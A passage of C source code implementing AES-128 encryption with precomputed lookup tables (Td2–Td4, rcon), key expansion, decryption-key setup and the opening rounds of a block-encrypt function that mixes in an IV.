||||
0x7139a801U, 0xde080cb3U, 0x9cd8b4e4U, 0x906456c1U,
|
||||
0x617bcb84U, 0x70d532b6U, 0x74486c5cU, 0x42d0b857U,
|
||||
};
|
||||
|
||||
static const unsigned int Td2[256] =
|
||||
{
|
||||
0xa75051f4U, 0x65537e41U, 0xa4c31a17U, 0x5e963a27U,
|
||||
0x6bcb3babU, 0x45f11f9dU, 0x58abacfaU, 0x03934be3U,
|
||||
0xfa552030U, 0x6df6ad76U, 0x769188ccU, 0x4c25f502U,
|
||||
0xd7fc4fe5U, 0xcbd7c52aU, 0x44802635U, 0xa38fb562U,
|
||||
0x5a49deb1U, 0x1b6725baU, 0x0e9845eaU, 0xc0e15dfeU,
|
||||
0x7502c32fU, 0xf012814cU, 0x97a38d46U, 0xf9c66bd3U,
|
||||
0x5fe7038fU, 0x9c951592U, 0x7aebbf6dU, 0x59da9552U,
|
||||
0x832dd4beU, 0x21d35874U, 0x692949e0U, 0xc8448ec9U,
|
||||
0x896a75c2U, 0x7978f48eU, 0x3e6b9958U, 0x71dd27b9U,
|
||||
0x4fb6bee1U, 0xad17f088U, 0xac66c920U, 0x3ab47dceU,
|
||||
0x4a1863dfU, 0x3182e51aU, 0x33609751U, 0x7f456253U,
|
||||
0x77e0b164U, 0xae84bb6bU, 0xa01cfe81U, 0x2b94f908U,
|
||||
0x68587048U, 0xfd198f45U, 0x6c8794deU, 0xf8b7527bU,
|
||||
0xd323ab73U, 0x02e2724bU, 0x8f57e31fU, 0xab2a6655U,
|
||||
0x2807b2ebU, 0xc2032fb5U, 0x7b9a86c5U, 0x08a5d337U,
|
||||
0x87f23028U, 0xa5b223bfU, 0x6aba0203U, 0x825ced16U,
|
||||
0x1c2b8acfU, 0xb492a779U, 0xf2f0f307U, 0xe2a14e69U,
|
||||
0xf4cd65daU, 0xbed50605U, 0x621fd134U, 0xfe8ac4a6U,
|
||||
0x539d342eU, 0x55a0a2f3U, 0xe132058aU, 0xeb75a4f6U,
|
||||
0xec390b83U, 0xefaa4060U, 0x9f065e71U, 0x1051bd6eU,
|
||||
0x8af93e21U, 0x063d96ddU, 0x05aedd3eU, 0xbd464de6U,
|
||||
0x8db59154U, 0x5d0571c4U, 0xd46f0406U, 0x15ff6050U,
|
||||
0xfb241998U, 0xe997d6bdU, 0x43cc8940U, 0x9e7767d9U,
|
||||
0x42bdb0e8U, 0x8b880789U, 0x5b38e719U, 0xeedb79c8U,
|
||||
0x0a47a17cU, 0x0fe97c42U, 0x1ec9f884U, 0x00000000U,
|
||||
0x86830980U, 0xed48322bU, 0x70ac1e11U, 0x724e6c5aU,
|
||||
0xfffbfd0eU, 0x38560f85U, 0xd51e3daeU, 0x3927362dU,
|
||||
0xd9640a0fU, 0xa621685cU, 0x54d19b5bU, 0x2e3a2436U,
|
||||
0x67b10c0aU, 0xe70f9357U, 0x96d2b4eeU, 0x919e1b9bU,
|
||||
0xc54f80c0U, 0x20a261dcU, 0x4b695a77U, 0x1a161c12U,
|
||||
0xba0ae293U, 0x2ae5c0a0U, 0xe0433c22U, 0x171d121bU,
|
||||
0x0d0b0e09U, 0xc7adf28bU, 0xa8b92db6U, 0xa9c8141eU,
|
||||
0x198557f1U, 0x074caf75U, 0xddbbee99U, 0x60fda37fU,
|
||||
0x269ff701U, 0xf5bc5c72U, 0x3bc54466U, 0x7e345bfbU,
|
||||
0x29768b43U, 0xc6dccb23U, 0xfc68b6edU, 0xf163b8e4U,
|
||||
0xdccad731U, 0x85104263U, 0x22401397U, 0x112084c6U,
|
||||
0x247d854aU, 0x3df8d2bbU, 0x3211aef9U, 0xa16dc729U,
|
||||
0x2f4b1d9eU, 0x30f3dcb2U, 0x52ec0d86U, 0xe3d077c1U,
|
||||
0x166c2bb3U, 0xb999a970U, 0x48fa1194U, 0x642247e9U,
|
||||
0x8cc4a8fcU, 0x3f1aa0f0U, 0x2cd8567dU, 0x90ef2233U,
|
||||
0x4ec78749U, 0xd1c1d938U, 0xa2fe8ccaU, 0x0b3698d4U,
|
||||
0x81cfa6f5U, 0xde28a57aU, 0x8e26dab7U, 0xbfa43fadU,
|
||||
0x9de42c3aU, 0x920d5078U, 0xcc9b6a5fU, 0x4662547eU,
|
||||
0x13c2f68dU, 0xb8e890d8U, 0xf75e2e39U, 0xaff582c3U,
|
||||
0x80be9f5dU, 0x937c69d0U, 0x2da96fd5U, 0x12b3cf25U,
|
||||
0x993bc8acU, 0x7da71018U, 0x636ee89cU, 0xbb7bdb3bU,
|
||||
0x7809cd26U, 0x18f46e59U, 0xb701ec9aU, 0x9aa8834fU,
|
||||
0x6e65e695U, 0xe67eaaffU, 0xcf0821bcU, 0xe8e6ef15U,
|
||||
0x9bd9bae7U, 0x36ce4a6fU, 0x09d4ea9fU, 0x7cd629b0U,
|
||||
0xb2af31a4U, 0x23312a3fU, 0x9430c6a5U, 0x66c035a2U,
|
||||
0xbc37744eU, 0xcaa6fc82U, 0xd0b0e090U, 0xd81533a7U,
|
||||
0x984af104U, 0xdaf741ecU, 0x500e7fcdU, 0xf62f1791U,
|
||||
0xd68d764dU, 0xb04d43efU, 0x4d54ccaaU, 0x04dfe496U,
|
||||
0xb5e39ed1U, 0x881b4c6aU, 0x1fb8c12cU, 0x517f4665U,
|
||||
0xea049d5eU, 0x355d018cU, 0x7473fa87U, 0x412efb0bU,
|
||||
0x1d5ab367U, 0xd25292dbU, 0x5633e910U, 0x47136dd6U,
|
||||
0x618c9ad7U, 0x0c7a37a1U, 0x148e59f8U, 0x3c89eb13U,
|
||||
0x27eecea9U, 0xc935b761U, 0xe5ede11cU, 0xb13c7a47U,
|
||||
0xdf599cd2U, 0x733f55f2U, 0xce791814U, 0x37bf73c7U,
|
||||
0xcdea53f7U, 0xaa5b5ffdU, 0x6f14df3dU, 0xdb867844U,
|
||||
0xf381caafU, 0xc43eb968U, 0x342c3824U, 0x405fc2a3U,
|
||||
0xc372161dU, 0x250cbce2U, 0x498b283cU, 0x9541ff0dU,
|
||||
0x017139a8U, 0xb3de080cU, 0xe49cd8b4U, 0xc1906456U,
|
||||
0x84617bcbU, 0xb670d532U, 0x5c74486cU, 0x5742d0b8U,
|
||||
};
|
||||
|
||||
static const unsigned int Td3[256] =
|
||||
{
|
||||
0xf4a75051U, 0x4165537eU, 0x17a4c31aU, 0x275e963aU,
|
||||
0xab6bcb3bU, 0x9d45f11fU, 0xfa58abacU, 0xe303934bU,
|
||||
0x30fa5520U, 0x766df6adU, 0xcc769188U, 0x024c25f5U,
|
||||
0xe5d7fc4fU, 0x2acbd7c5U, 0x35448026U, 0x62a38fb5U,
|
||||
0xb15a49deU, 0xba1b6725U, 0xea0e9845U, 0xfec0e15dU,
|
||||
0x2f7502c3U, 0x4cf01281U, 0x4697a38dU, 0xd3f9c66bU,
|
||||
0x8f5fe703U, 0x929c9515U, 0x6d7aebbfU, 0x5259da95U,
|
||||
0xbe832dd4U, 0x7421d358U, 0xe0692949U, 0xc9c8448eU,
|
||||
0xc2896a75U, 0x8e7978f4U, 0x583e6b99U, 0xb971dd27U,
|
||||
0xe14fb6beU, 0x88ad17f0U, 0x20ac66c9U, 0xce3ab47dU,
|
||||
0xdf4a1863U, 0x1a3182e5U, 0x51336097U, 0x537f4562U,
|
||||
0x6477e0b1U, 0x6bae84bbU, 0x81a01cfeU, 0x082b94f9U,
|
||||
0x48685870U, 0x45fd198fU, 0xde6c8794U, 0x7bf8b752U,
|
||||
0x73d323abU, 0x4b02e272U, 0x1f8f57e3U, 0x55ab2a66U,
|
||||
0xeb2807b2U, 0xb5c2032fU, 0xc57b9a86U, 0x3708a5d3U,
|
||||
0x2887f230U, 0xbfa5b223U, 0x036aba02U, 0x16825cedU,
|
||||
0xcf1c2b8aU, 0x79b492a7U, 0x07f2f0f3U, 0x69e2a14eU,
|
||||
0xdaf4cd65U, 0x05bed506U, 0x34621fd1U, 0xa6fe8ac4U,
|
||||
0x2e539d34U, 0xf355a0a2U, 0x8ae13205U, 0xf6eb75a4U,
|
||||
0x83ec390bU, 0x60efaa40U, 0x719f065eU, 0x6e1051bdU,
|
||||
0x218af93eU, 0xdd063d96U, 0x3e05aeddU, 0xe6bd464dU,
|
||||
0x548db591U, 0xc45d0571U, 0x06d46f04U, 0x5015ff60U,
|
||||
0x98fb2419U, 0xbde997d6U, 0x4043cc89U, 0xd99e7767U,
|
||||
0xe842bdb0U, 0x898b8807U, 0x195b38e7U, 0xc8eedb79U,
|
||||
0x7c0a47a1U, 0x420fe97cU, 0x841ec9f8U, 0x00000000U,
|
||||
0x80868309U, 0x2bed4832U, 0x1170ac1eU, 0x5a724e6cU,
|
||||
0x0efffbfdU, 0x8538560fU, 0xaed51e3dU, 0x2d392736U,
|
||||
0x0fd9640aU, 0x5ca62168U, 0x5b54d19bU, 0x362e3a24U,
|
||||
0x0a67b10cU, 0x57e70f93U, 0xee96d2b4U, 0x9b919e1bU,
|
||||
0xc0c54f80U, 0xdc20a261U, 0x774b695aU, 0x121a161cU,
|
||||
0x93ba0ae2U, 0xa02ae5c0U, 0x22e0433cU, 0x1b171d12U,
|
||||
0x090d0b0eU, 0x8bc7adf2U, 0xb6a8b92dU, 0x1ea9c814U,
|
||||
0xf1198557U, 0x75074cafU, 0x99ddbbeeU, 0x7f60fda3U,
|
||||
0x01269ff7U, 0x72f5bc5cU, 0x663bc544U, 0xfb7e345bU,
|
||||
0x4329768bU, 0x23c6dccbU, 0xedfc68b6U, 0xe4f163b8U,
|
||||
0x31dccad7U, 0x63851042U, 0x97224013U, 0xc6112084U,
|
||||
0x4a247d85U, 0xbb3df8d2U, 0xf93211aeU, 0x29a16dc7U,
|
||||
0x9e2f4b1dU, 0xb230f3dcU, 0x8652ec0dU, 0xc1e3d077U,
|
||||
0xb3166c2bU, 0x70b999a9U, 0x9448fa11U, 0xe9642247U,
|
||||
0xfc8cc4a8U, 0xf03f1aa0U, 0x7d2cd856U, 0x3390ef22U,
|
||||
0x494ec787U, 0x38d1c1d9U, 0xcaa2fe8cU, 0xd40b3698U,
|
||||
0xf581cfa6U, 0x7ade28a5U, 0xb78e26daU, 0xadbfa43fU,
|
||||
0x3a9de42cU, 0x78920d50U, 0x5fcc9b6aU, 0x7e466254U,
|
||||
0x8d13c2f6U, 0xd8b8e890U, 0x39f75e2eU, 0xc3aff582U,
|
||||
0x5d80be9fU, 0xd0937c69U, 0xd52da96fU, 0x2512b3cfU,
|
||||
0xac993bc8U, 0x187da710U, 0x9c636ee8U, 0x3bbb7bdbU,
|
||||
0x267809cdU, 0x5918f46eU, 0x9ab701ecU, 0x4f9aa883U,
|
||||
0x956e65e6U, 0xffe67eaaU, 0xbccf0821U, 0x15e8e6efU,
|
||||
0xe79bd9baU, 0x6f36ce4aU, 0x9f09d4eaU, 0xb07cd629U,
|
||||
0xa4b2af31U, 0x3f23312aU, 0xa59430c6U, 0xa266c035U,
|
||||
0x4ebc3774U, 0x82caa6fcU, 0x90d0b0e0U, 0xa7d81533U,
|
||||
0x04984af1U, 0xecdaf741U, 0xcd500e7fU, 0x91f62f17U,
|
||||
0x4dd68d76U, 0xefb04d43U, 0xaa4d54ccU, 0x9604dfe4U,
|
||||
0xd1b5e39eU, 0x6a881b4cU, 0x2c1fb8c1U, 0x65517f46U,
|
||||
0x5eea049dU, 0x8c355d01U, 0x877473faU, 0x0b412efbU,
|
||||
0x671d5ab3U, 0xdbd25292U, 0x105633e9U, 0xd647136dU,
|
||||
0xd7618c9aU, 0xa10c7a37U, 0xf8148e59U, 0x133c89ebU,
|
||||
0xa927eeceU, 0x61c935b7U, 0x1ce5ede1U, 0x47b13c7aU,
|
||||
0xd2df599cU, 0xf2733f55U, 0x14ce7918U, 0xc737bf73U,
|
||||
0xf7cdea53U, 0xfdaa5b5fU, 0x3d6f14dfU, 0x44db8678U,
|
||||
0xaff381caU, 0x68c43eb9U, 0x24342c38U, 0xa3405fc2U,
|
||||
0x1dc37216U, 0xe2250cbcU, 0x3c498b28U, 0x0d9541ffU,
|
||||
0xa8017139U, 0x0cb3de08U, 0xb4e49cd8U, 0x56c19064U,
|
||||
0xcb84617bU, 0x32b670d5U, 0x6c5c7448U, 0xb85742d0U,
|
||||
};
|
||||
|
||||
static const unsigned int Td4[256] =
|
||||
{
|
||||
0x52525252U, 0x09090909U, 0x6a6a6a6aU, 0xd5d5d5d5U,
|
||||
0x30303030U, 0x36363636U, 0xa5a5a5a5U, 0x38383838U,
|
||||
0xbfbfbfbfU, 0x40404040U, 0xa3a3a3a3U, 0x9e9e9e9eU,
|
||||
0x81818181U, 0xf3f3f3f3U, 0xd7d7d7d7U, 0xfbfbfbfbU,
|
||||
0x7c7c7c7cU, 0xe3e3e3e3U, 0x39393939U, 0x82828282U,
|
||||
0x9b9b9b9bU, 0x2f2f2f2fU, 0xffffffffU, 0x87878787U,
|
||||
0x34343434U, 0x8e8e8e8eU, 0x43434343U, 0x44444444U,
|
||||
0xc4c4c4c4U, 0xdedededeU, 0xe9e9e9e9U, 0xcbcbcbcbU,
|
||||
0x54545454U, 0x7b7b7b7bU, 0x94949494U, 0x32323232U,
|
||||
0xa6a6a6a6U, 0xc2c2c2c2U, 0x23232323U, 0x3d3d3d3dU,
|
||||
0xeeeeeeeeU, 0x4c4c4c4cU, 0x95959595U, 0x0b0b0b0bU,
|
||||
0x42424242U, 0xfafafafaU, 0xc3c3c3c3U, 0x4e4e4e4eU,
|
||||
0x08080808U, 0x2e2e2e2eU, 0xa1a1a1a1U, 0x66666666U,
|
||||
0x28282828U, 0xd9d9d9d9U, 0x24242424U, 0xb2b2b2b2U,
|
||||
0x76767676U, 0x5b5b5b5bU, 0xa2a2a2a2U, 0x49494949U,
|
||||
0x6d6d6d6dU, 0x8b8b8b8bU, 0xd1d1d1d1U, 0x25252525U,
|
||||
0x72727272U, 0xf8f8f8f8U, 0xf6f6f6f6U, 0x64646464U,
|
||||
0x86868686U, 0x68686868U, 0x98989898U, 0x16161616U,
|
||||
0xd4d4d4d4U, 0xa4a4a4a4U, 0x5c5c5c5cU, 0xccccccccU,
|
||||
0x5d5d5d5dU, 0x65656565U, 0xb6b6b6b6U, 0x92929292U,
|
||||
0x6c6c6c6cU, 0x70707070U, 0x48484848U, 0x50505050U,
|
||||
0xfdfdfdfdU, 0xededededU, 0xb9b9b9b9U, 0xdadadadaU,
|
||||
0x5e5e5e5eU, 0x15151515U, 0x46464646U, 0x57575757U,
|
||||
0xa7a7a7a7U, 0x8d8d8d8dU, 0x9d9d9d9dU, 0x84848484U,
|
||||
0x90909090U, 0xd8d8d8d8U, 0xababababU, 0x00000000U,
|
||||
0x8c8c8c8cU, 0xbcbcbcbcU, 0xd3d3d3d3U, 0x0a0a0a0aU,
|
||||
0xf7f7f7f7U, 0xe4e4e4e4U, 0x58585858U, 0x05050505U,
|
||||
0xb8b8b8b8U, 0xb3b3b3b3U, 0x45454545U, 0x06060606U,
|
||||
0xd0d0d0d0U, 0x2c2c2c2cU, 0x1e1e1e1eU, 0x8f8f8f8fU,
|
||||
0xcacacacaU, 0x3f3f3f3fU, 0x0f0f0f0fU, 0x02020202U,
|
||||
0xc1c1c1c1U, 0xafafafafU, 0xbdbdbdbdU, 0x03030303U,
|
||||
0x01010101U, 0x13131313U, 0x8a8a8a8aU, 0x6b6b6b6bU,
|
||||
0x3a3a3a3aU, 0x91919191U, 0x11111111U, 0x41414141U,
|
||||
0x4f4f4f4fU, 0x67676767U, 0xdcdcdcdcU, 0xeaeaeaeaU,
|
||||
0x97979797U, 0xf2f2f2f2U, 0xcfcfcfcfU, 0xcecececeU,
|
||||
0xf0f0f0f0U, 0xb4b4b4b4U, 0xe6e6e6e6U, 0x73737373U,
|
||||
0x96969696U, 0xacacacacU, 0x74747474U, 0x22222222U,
|
||||
0xe7e7e7e7U, 0xadadadadU, 0x35353535U, 0x85858585U,
|
||||
0xe2e2e2e2U, 0xf9f9f9f9U, 0x37373737U, 0xe8e8e8e8U,
|
||||
0x1c1c1c1cU, 0x75757575U, 0xdfdfdfdfU, 0x6e6e6e6eU,
|
||||
0x47474747U, 0xf1f1f1f1U, 0x1a1a1a1aU, 0x71717171U,
|
||||
0x1d1d1d1dU, 0x29292929U, 0xc5c5c5c5U, 0x89898989U,
|
||||
0x6f6f6f6fU, 0xb7b7b7b7U, 0x62626262U, 0x0e0e0e0eU,
|
||||
0xaaaaaaaaU, 0x18181818U, 0xbebebebeU, 0x1b1b1b1bU,
|
||||
0xfcfcfcfcU, 0x56565656U, 0x3e3e3e3eU, 0x4b4b4b4bU,
|
||||
0xc6c6c6c6U, 0xd2d2d2d2U, 0x79797979U, 0x20202020U,
|
||||
0x9a9a9a9aU, 0xdbdbdbdbU, 0xc0c0c0c0U, 0xfefefefeU,
|
||||
0x78787878U, 0xcdcdcdcdU, 0x5a5a5a5aU, 0xf4f4f4f4U,
|
||||
0x1f1f1f1fU, 0xddddddddU, 0xa8a8a8a8U, 0x33333333U,
|
||||
0x88888888U, 0x07070707U, 0xc7c7c7c7U, 0x31313131U,
|
||||
0xb1b1b1b1U, 0x12121212U, 0x10101010U, 0x59595959U,
|
||||
0x27272727U, 0x80808080U, 0xececececU, 0x5f5f5f5fU,
|
||||
0x60606060U, 0x51515151U, 0x7f7f7f7fU, 0xa9a9a9a9U,
|
||||
0x19191919U, 0xb5b5b5b5U, 0x4a4a4a4aU, 0x0d0d0d0dU,
|
||||
0x2d2d2d2dU, 0xe5e5e5e5U, 0x7a7a7a7aU, 0x9f9f9f9fU,
|
||||
0x93939393U, 0xc9c9c9c9U, 0x9c9c9c9cU, 0xefefefefU,
|
||||
0xa0a0a0a0U, 0xe0e0e0e0U, 0x3b3b3b3bU, 0x4d4d4d4dU,
|
||||
0xaeaeaeaeU, 0x2a2a2a2aU, 0xf5f5f5f5U, 0xb0b0b0b0U,
|
||||
0xc8c8c8c8U, 0xebebebebU, 0xbbbbbbbbU, 0x3c3c3c3cU,
|
||||
0x83838383U, 0x53535353U, 0x99999999U, 0x61616161U,
|
||||
0x17171717U, 0x2b2b2b2bU, 0x04040404U, 0x7e7e7e7eU,
|
||||
0xbabababaU, 0x77777777U, 0xd6d6d6d6U, 0x26262626U,
|
||||
0xe1e1e1e1U, 0x69696969U, 0x14141414U, 0x63636363U,
|
||||
0x55555555U, 0x21212121U, 0x0c0c0c0cU, 0x7d7d7d7dU,
|
||||
};
|
||||
|
||||
static const unsigned int rcon[10] = {
|
||||
0x01000000, 0x02000000, 0x04000000, 0x08000000,
|
||||
0x10000000, 0x20000000, 0x40000000, 0x80000000,
|
||||
0x1B000000, 0x36000000
|
||||
};
|
||||
|
||||
typedef struct {
|
||||
unsigned int roundkey[44];
|
||||
unsigned int iv[4];
|
||||
} AES_CTX;
|
||||
|
||||
static void AES_EncryptInit(AES_CTX *ctx, const unsigned char *key, const unsigned char *iv) {
|
||||
ctx->roundkey[0] = GETU32(key + 0);
|
||||
ctx->roundkey[1] = GETU32(key + 4);
|
||||
ctx->roundkey[2] = GETU32(key + 8);
|
||||
ctx->roundkey[3] = GETU32(key + 12);
|
||||
|
||||
ctx->iv[0] = GETU32(iv + 0);
|
||||
ctx->iv[1] = GETU32(iv + 4);
|
||||
ctx->iv[2] = GETU32(iv + 8);
|
||||
ctx->iv[3] = GETU32(iv + 12);
|
||||
|
||||
for (unsigned char index = 4; index < 44; index += 4) {
|
||||
ctx->roundkey[index] = ctx->roundkey[index - 4] ^
|
||||
(Te4[(ctx->roundkey[index - 1] >> 16) & 0xff] & 0xff000000) ^
|
||||
(Te4[(ctx->roundkey[index - 1] >> 8) & 0xff] & 0x00ff0000) ^
|
||||
(Te4[(ctx->roundkey[index - 1] >> 0) & 0xff] & 0x0000ff00) ^
|
||||
(Te4[(ctx->roundkey[index - 1] >> 24) & 0xff] & 0x000000ff) ^ rcon[index / 4 - 1];
|
||||
ctx->roundkey[index + 1] = ctx->roundkey[index - 3] ^ ctx->roundkey[index];
|
||||
ctx->roundkey[index + 2] = ctx->roundkey[index - 2] ^ ctx->roundkey[index + 1];
|
||||
ctx->roundkey[index + 3] = ctx->roundkey[index - 1] ^ ctx->roundkey[index + 2];
|
||||
}
|
||||
}
|
||||
|
||||
static void AES_DecryptInit(AES_CTX *ctx, const unsigned char *key, const unsigned char *iv) {
|
||||
AES_EncryptInit(ctx, key, iv);
|
||||
|
||||
unsigned int temp;
|
||||
|
||||
// Next, invert the order of the round keys.
|
||||
for (unsigned char i = 0, j = 40; i < j; i += 4, j -= 4) {
|
||||
for (uint8_t k = 0; k < 4; k++) {
|
||||
temp = ctx->roundkey[i + k];
|
||||
ctx->roundkey[i + k] = ctx->roundkey[j + k];
|
||||
ctx->roundkey[j + k] = temp;
|
||||
}
|
||||
}
|
||||
|
||||
// Finally, apply the inverse MixColumn transform to all round keys except the first and last.
|
||||
for (unsigned char index = 4; index < 40; index += 4) {
|
||||
ctx->roundkey[index] =
|
||||
Td0[Te4[(ctx->roundkey[index] >> 24) & 0xff] & 0xff] ^
|
||||
Td1[Te4[(ctx->roundkey[index] >> 16) & 0xff] & 0xff] ^
|
||||
Td2[Te4[(ctx->roundkey[index] >> 8) & 0xff] & 0xff] ^
|
||||
Td3[Te4[(ctx->roundkey[index] >> 0) & 0xff] & 0xff];
|
||||
ctx->roundkey[index + 1] =
|
||||
Td0[Te4[(ctx->roundkey[index + 1] >> 24) & 0xff] & 0xff] ^
|
||||
Td1[Te4[(ctx->roundkey[index + 1] >> 16) & 0xff] & 0xff] ^
|
||||
Td2[Te4[(ctx->roundkey[index + 1] >> 8) & 0xff] & 0xff] ^
|
||||
Td3[Te4[(ctx->roundkey[index + 1] >> 0) & 0xff] & 0xff];
|
||||
ctx->roundkey[index + 2] =
|
||||
Td0[Te4[(ctx->roundkey[index + 2] >> 24) & 0xff] & 0xff] ^
|
||||
Td1[Te4[(ctx->roundkey[index + 2] >> 16) & 0xff] & 0xff] ^
|
||||
Td2[Te4[(ctx->roundkey[index + 2] >> 8) & 0xff] & 0xff] ^
|
||||
Td3[Te4[(ctx->roundkey[index + 2] >> 0) & 0xff] & 0xff];
|
||||
ctx->roundkey[index + 3] =
|
||||
Td0[Te4[(ctx->roundkey[index + 3] >> 24) & 0xff] & 0xff] ^
|
||||
Td1[Te4[(ctx->roundkey[index + 3] >> 16) & 0xff] & 0xff] ^
|
||||
Td2[Te4[(ctx->roundkey[index + 3] >> 8) & 0xff] & 0xff] ^
|
||||
Td3[Te4[(ctx->roundkey[index + 3] >> 0) & 0xff] & 0xff];
|
||||
}
|
||||
}
|
||||
|
||||
static void AES_Encrypt(AES_CTX *ctx, const unsigned char in_data[AES_BLOCK_SIZE], unsigned char out_data[AES_BLOCK_SIZE]) {
|
||||
unsigned int s0, s1, s2, s3, t0, t1, t2, t3, offset;
|
||||
|
||||
// Initial round
|
||||
s0 = GETU32(in_data + 0) ^ ctx->iv[0] ^ ctx->roundkey[0];
|
||||
s1 = GETU32(in_data + 4) ^ ctx->iv[1] ^ ctx->roundkey[1];
|
||||
s2 = GETU32(in_data + 8) ^ ctx->iv[2] ^ ctx->roundkey[2];
|
||||
s3 = GETU32(in_data + 12) ^ ctx->iv[3] ^ ctx->roundkey[3];
|
||||
|
||||
// round 1
|
||||
t0 = Te0[s0 >> 24] ^ Te1[(s1 >> 16) & 0xff] ^ Te2[(s2 >> 8) & 0xff] ^ Te3[s3 & 0xff] ^ ctx->roundkey[ 4];
|
||||
t1 = Te0[s1 >> 24] ^ Te1[(s2 >> 16) & 0xff] ^ Te2[(s3 >> 8) & 0xff] ^ Te3[s0 & 0xff] ^ ctx->roundkey[ 5];
|
||||
t2 = Te0[s2 >> 24] ^ Te1[(s3 >> 16) & 0xff] ^ Te2[(s0 >> 8) & 0xff] ^ Te3[s1 & 0xff] ^ ctx->roundkey[ 6];
|
||||
t3 = Te0[s3 >> 24] ^ Te1[(s0 >> 16) & 0xff] ^ Te2[(s1 >> 8) & 0xff] ^ Te3[s2 & 0xff] ^ ctx->roundkey[ 7];
|
||||
// round 2
|
||||
s0 = Te0[t0 >> 24] ^ Te1[(t1 >> 16) & 0xff] ^ Te2[(t2 >> 8) & 0xff] ^ Te3[t3 & 0xff] ^ ctx->roundkey[ 8];
|
||||
s1 = Te0[t1 >> 24] ^ Te1[(t2 >> 16) & 0xff] ^ Te2[(t3 >> 8) & 0xff] ^ Te3[t0 & 0xff] ^ ctx->roundkey[ 9];
|
||||
s2 = Te0[t2 >> 24] ^ Te1[(t3 >> 16) & 0xff] ^ Te2[(t0 >> 8) & 0xff] ^ Te3[t1 & 0xff] ^ ctx->roundkey[10];
|
||||
s3 = Te0[t3 >> 24] ^ Te1[(t0 >> 16) & 0xff] ^ Te2[(t1 >> 8) & 0xff] ^ Te3[t2 & 0xff] ^ ctx->roundkey[11];
|
||||
// round 3
|
||||
t0 = Te0[s0 >> 24] ^ Te1[(s1 >> 16) & 0xff] ^ Te2[(s2 >> 8) & 0xff] ^ Te3[s3 & 0xff] ^ ctx->roundkey[12];
|
||||
t1 = Te0[s1 >> 24] ^ Te1[(s2 >> 16) & 0xff] ^ Te2[(s3 >> 8) & 0xff] ^ Te3[s0 & 0xff] ^ ctx->roundkey[13];
|
||||
t2 = Te0[s2 >> 24] ^ Te1[(s3 >> 16) & 0xff] ^ Te2[(s0 >> 8) & 0xff] ^ Te3[s1 & 0xff] ^ ctx->roundkey[14];
|
||||
t3 = Te0[s3 >> 24] ^ Te1[(s0 >> 16) & 0xff] ^ Te2[(s1 >> 8) & 0xff] ^ Te3[s2 & 0xff] ^ ctx->roundkey[15];
|
||||
// round 4
|
||||
s0 = Te0[t0 >> 24] ^ Te1[(t1 >> 16) & 0xff] ^ Te2[(t2 >> 8) & 0xff] ^ Te3[t3 & 0xff] ^ ctx->roundkey[16];
|
||||
s1 = Te0[t1 >> 24] ^ Te1[(t2 >> 16) & 0xff] ^ Te2[(t3 >> 8) & 0xff] ^ Te3[t0 & 0xff] ^ ctx->roundkey[17];
|
||||
s2 = Te0[t2 >> 24] ^ Te1[(t3 >> 16) & 0xff] ^ Te2[(t0 >> 8) & 0xff] ^ Te3[t1 & 0xff] ^ ctx->roundkey[18];
|
||||
s3 = Te0[t3 >> 24] ^ Te1[(t0 >> 16) & 0xff] ^ Te2[(t1 >> 8) & 0xff] ^ Te3[t2 & 0xff] ^ ctx->roundkey[19];
|
||||
// round 5
|
||||
t0 = Te0[s0 >> 24] ^ Te1[(s1 >> 16) & 0xff] ^ Te2[(s2 >> 8) & 0xff] ^ Te3[s3 & 0xff] ^ ctx->roundkey[20];
|
||||
t1 = Te0[s1 >> 24] ^ Te1[(s2 >> 16) & 0xff] ^ Te2[(s3 >> 8) & 0xff] ^ Te3[s0 & 0xff] ^ ctx->roundkey[21];
|
||||
t2 = Te0[s2 >> 24] ^ Te1[(s3 >> 16) & 0xff] ^ Te2[(s0 >> 8) & 0xff] ^ Te3[s1 & 0xff] ^ ctx->roundkey[22];
|
||||
t3 = Te0[s3 >> 24] ^ Te1[(s0 >> 16) & 0xff] ^ Te2[(s1 >> 8) & 0xff] ^ Te3[s2 & 0xff] ^ ctx->roundkey[23];
|
||||
// round 6
|
||||
s0 = Te0[t0 >> 24] ^ Te1[(t1 >> 16) & 0xff] ^ Te2[(t2 >> 8) & 0xff] ^ Te3[t3 & 0xff] ^ ctx->roundkey[24];
|
||||
s1 = Te0[t1 >> 24] ^ Te1[(t2 >> 16) & 0xff] ^ Te2[(t3 >> 8) & 0xff] ^ Te3[t0 & 0xff] ^ ctx->roundkey[25];
|
||||
s2 = Te0[t2 >> 24] ^ Te1[(t3 >> 16) & 0xff] ^ Te2[(t0 >> 8) & 0xff] ^ Te3[t1 & 0xff] ^ ctx->roundkey[26];
|
||||
s3 = Te0[t3 >> 24] ^ Te1[(t0 >> 16) & 0xff] ^ Te2[(t1 >> 8) & 0xff] ^ Te3[t2 & 0xff] ^ ctx->roundkey[27];
|
||||
// round 7
|
||||
t0 = Te0[s0 >> 24] ^ Te1[(s1 >> 16) & 0xff] ^ Te2[(s2 >> 8) & 0xff] ^ Te3[s3 & 0xff] ^ ctx->roundkey[28];
|
||||
t1 = Te0[s1 >> 24] ^ Te1[(s2 >> 16) & 0xff] ^ Te2[(s3 >> 8) & 0xff] ^ Te3[s0 & 0xff] ^ ctx->roundkey[29];
|
||||
t2 = Te0[s2 >> 24] ^ Te1[(s3 >> 16) & 0xff] ^ Te2[(s0 >> 8) & 0xff] ^ Te3[s1 & 0xff] ^ ctx->roundkey[30];
|
||||
t3 = Te0[s3 >> 24] ^ Te1[(s0 >> 16) & 0xff] ^ Te2[(s1 >> 8) & 0xff] ^ Te3[s2 & 0xff] ^ ctx->roundkey[31];
|
||||
// round 8
|
||||
s0 = Te0[t0 >> 24] ^ Te1[(t1 >> 16) & 0xff] ^ Te2[(t2 >> 8) & 0xff] ^ Te3[t3 & 0xff] ^ ctx->roundkey[32];
|
||||
s1 = Te0[t1 >> 24] ^ Te1[(t2 >> 16) & 0xff] ^ Te2[(t3 >> 8) & 0xff] ^ Te3[t0 & 0xff] ^ ctx->roundkey[33];
|
||||
s2 = Te0[t2 >> 24] ^ Te1[(t3 >> 16) & 0xff] ^ Te2[(t0 >> 8) & 0xff] ^ Te3[t1 & 0xff] ^ ctx->roundkey[34];
|
||||
s3 = Te0[t3 >> 24] ^ Te1[(t0 >> 16) & 0xff] ^ Te2[(t1 >> 8) & 0xff] ^ Te3[t2 & 0xff] ^ ctx->roundkey[35];
|
||||
// round 9
|
||||
t0 = Te0[s0 >> 24] ^ Te1[(s1 >> 16) & 0xff] ^ Te2[(s2 >> 8) & 0xff] ^ Te3[s3 & 0xff] ^ ctx->roundkey[36];
|
||||
